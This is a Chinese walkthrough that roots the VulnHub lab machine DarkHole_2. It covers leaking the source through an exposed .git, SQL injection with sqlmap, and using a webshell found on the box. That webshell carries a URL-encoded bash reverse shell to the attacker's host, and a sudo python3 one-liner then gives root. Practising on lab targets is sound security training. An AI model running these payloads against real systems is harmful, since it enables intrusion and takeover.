第三台靶机,还是来自https://www.vulnhub.com/,名字为DackHole_2。
网络模式还是NAT。
这台靶机特别有趣,全是漏洞,有很多方法获取flag。
常规信息收集
arp-scan -l
nmap -sS -sV -A -p- -T5 192.168.221.143

80,22端口还有个/.git页面
渗透过程
我们进去.git页面看一下。.git 目录是涉及到敏感文件泄露,所以把源码下载到本地。再次之前将githack吧Github上下载下来。
python2 GitHack/GitHack.py http://192.168.221.143/.git # 下载源码
跳转到下载到的目录下面查看源码,直接白盒审计。当然要看login.php,看一下其对用户和密码的处理逻辑。
<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
}
}
?>
<link rel="stylesheet" href="style/login.css">
<head>
<script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script>
<link rel="stylesheet" href="Project_1.css">
<title>Home</title>
</head>
<body>
<div class="container">
<h1>Welcome</h1>
<!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/Project_1.html"><h1>Sign In</h1></a> -->
<!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/P2.html"> <h1>Log In</h1></a> -->
<form action="" method="post">
<div class="box">
<i class="fas fa-envelope"></i>
<input type="email" name="email" id="email" placeholder="Enter Your Email" required>
</div>
<div class="box">
<i class="fas fa-key"></i>
<input type="password" name="password" id="password" placeholder="Enter Your Password" required>
</div>
<button id="btn" name="button">Login</button>
</form>
</div>
</body>
这个时候可以有多个方向,1. 简单的SQL语句拼接,sqlmap直接跑。2. 继续利用git。
继续利用git
使用git clone . webapp 命令会将该目录创建一个webapp的源码文件,可以在其中执行所有 git 操作
在webap下用git log ,发现在git日志当中存在修改记录。

查看历史提交记录。看一下a4d9

git checkout a4d9
查看login.php,发现管理员用户。

直接登录。
sqlmap直接跑
但是要加cookie
sqlmap -u "http://192.168.221.143/dashboard.php?id=1" --cookie PHPSESSID=kea8aac8775lkf35hbmj2t623e --dbs

接下来流程化,查到了ssh,user表。


ssh连接看一下。进入之后,常规信息收集。
netstat -tulpn
history
ls
cat /etc/crotab # 查看定时任务
....
发现其开了9999端口,比较可疑,访问9999端口但是连接失败。
查看对应目录下的文件: cd /opt/web ,发现是一个cmd马

看来这个网站已经被人之前打过了。
然后查看历史命令,确实有被打过的痕迹。

可以发现,可以访问本地 IP:http://127.0.0.1:9999/
执行命令:curl "http://127.0.0.1:9999/?cmd=id"
发现losy用户。
这个losy用户先不管,我们看看jehad用户我们可以干什么。
寻找 suid 权限程序提权
find / -perm -u=s -type f 2>/dev/null

没有发现可用的命令。
没有办法,我们只能先利用现成的cmd马。建立一个反弹shell,但是要url编码。
curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%32%31%2e%31%33%32%2f%34%34%34%34%20%30%3e%26%31%27"
kali监听,直接连到了losy用户。
还是信息收集看看他的历史命令。发现password为gang。
sudo -l # 看出来其可以执行python3,直接脚本提权
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
切换到root用户后,转到root目录下,ls一下找到flag。